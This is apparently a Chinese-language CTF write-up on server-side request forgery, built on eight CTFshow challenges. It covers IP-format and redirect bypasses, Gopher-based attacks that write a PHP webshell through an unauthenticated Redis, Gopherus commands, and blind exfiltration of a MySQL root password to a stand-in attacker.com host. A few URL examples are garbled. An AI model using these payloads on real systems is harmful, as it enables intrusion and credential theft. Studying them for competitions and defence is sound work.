实战复盘:从CTFshow的8道SSRF题,我总结出的5种绕过姿势与Gopher协议利用
CTF实战SSRF漏洞的5种高级绕过技术与Gopher协议深度利用在CTF竞赛和渗透测试中服务器端请求伪造SSRF漏洞因其能够突破网络边界、攻击内网服务而备受关注。本文将基于CTFshow平台的8道典型题目Web351-Web360系统剖析5种实战绕过技巧并深入讲解Gopher协议的利用方法。1. SSRF漏洞核心原理与防护机制SSRF漏洞的本质是服务器未对用户提供的URL进行充分验证导致攻击者可以诱导服务器向任意地址发起请求。这种漏洞常出现在以下场景社交分享功能在线文档处理图片/文件下载服务网站内容采集系统常见防护手段包括防护类型实现方式典型特征黑名单过滤拦截特定关键词如127.0.0.1正则表达式匹配白名单校验只允许访问特定域名域名严格比对协议限制仅允许HTTP/HTTPS检查URL scheme长度限制限制host部分长度strlen()函数判断解析校验验证最终解析IPgethostbyname()检查2. 五种实战绕过技术详解2.1 进制转换绕过法当防护系统使用简单字符串匹配拦截127.0.0.1等关键词时可采用不同进制表示法绕过# IP地址转换示例 original_ip 127.0.0.1 decimal_ip str(int(ipaddress.IPv4Address(original_ip))) # 2130706433 hex_ip hex(int(ipaddress.IPv4Address(original_ip))) # 0x7f000001 octal_ip oct(int(ipaddress.IPv4Address(original_ip))) # 0o177000000001实战案例在CTFshow Web353中过滤规则拦截了127.0.但使用http://2130706433/flag.php成功绕过。2.2 短网址与域名重定向当进制转换被限制时如Web354过滤所有数字可利用短网址服务或自定义域名解析注册一个域名并设置A记录指向127.0.0.1使用http://yourdomain.com/flag.php代替直接IP访问或生成短链接http://bit.ly/xxxx指向目标地址提示部分CTF环境可能禁用外部网络访问此时需搭建本地DNS服务器实现域名解析。2.3 特殊格式IP表示IPv4地址有多种替代表示法可绕过长度限制http://0/→ 解析为0.0.0.0http://127.1/→ 解析为127.0.0.1http://[::]/→ IPv6本地地址CTFshow Web355/356通过限制host长度≤5或≤3正是利用http://0/flag.php这种极简表示法突破防御。2.4 302跳转迂回攻击当防护系统验证最终解析IP时如Web357可构造恶意页面实现跳转?php // redirect.php header(Location: http://127.0.0.1/flag.php); ?攻击流程将redirect.php部署在公网服务器提交http://your-server.com/redirect.php服务器首次解析得到合法IP实际访问时跳转到内网地址2.5 URL解析混淆技术利用URL语法特性制造解析差异http://ctf.127.0.0.1/flag.php#show→ 前为用户信息实际访问127.0.0.1http://ctf.%[email protected]/flag.php→ 利用编码混淆http://127.0.0.1:80%[email protected]/→ 端口号干扰在Web358中通过和#符号成功绕过了严格的域名匹配规则。3. Gopher协议的高级利用Gopher协议可构造任意TCP请求是攻击内网服务的利器。以Redis未授权访问为例3.1 手动构造Redis命令import urllib.parse redis_command SET mykey Hello CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET payload ?php system($_GET[cmd]);? SAVE gopher_payload gopher://127.0.0.1:6379/_ urllib.parse.quote(redis_command.replace(\n,\r\n)) print(gopher_payload)3.2 使用Gopherus工具自动化# 安装Gopherus git clone https://github.com/tarunkant/Gopherus cd Gopherus # 生成Redis攻击payload python gopherus.py --exploit redis select 6 flushall set shell ?php system($_GET[cmd]);? config set dir /var/www/html config set dbfilename shell.php saveCTFshow Web359-360正是利用Gopher协议攻击无密码Redis服务通过写入webshell获取flag。4. 无回显SSRF的利用技巧当请求结果不直接返回时可采用以下方法DNS外带数据http://127.0.0.1:3306/?id1 AND LOAD_FILE(CONCAT(\\\\,(SELECT password FROM mysql.user WHERE userroot LIMIT 1),.attacker.com\\test))--HTTP日志外泄 让服务器访问攻击者控制的URL将数据编码在路径中http://your-server.com/log.php?dataBASE64_ENCODED_DATA时间盲注 通过响应时间判断请求是否成功http://127.0.0.1:8080/search?qsleep(5)5. 防御建议与实战思考开发人员应实施多层防护协议白名单仅允许HTTP/HTTPS域名白名单校验禁用URL特殊字符#等请求目标IP黑名单内网地址限制响应内容大小和类型在CTF实战中遇到SSRF题目时建议按照以下流程分析确定注入点参数测试协议支持情况分析过滤规则黑名单/白名单选择合适的绕过技术构造最终payload通过CTFshow这8道题目的实战我们发现SSRF绕过往往需要结合多种技术如Web354需要先绕过数字过滤再处理域名长度限制。真正考验的是对网络协议和服务器解析逻辑的深入理解。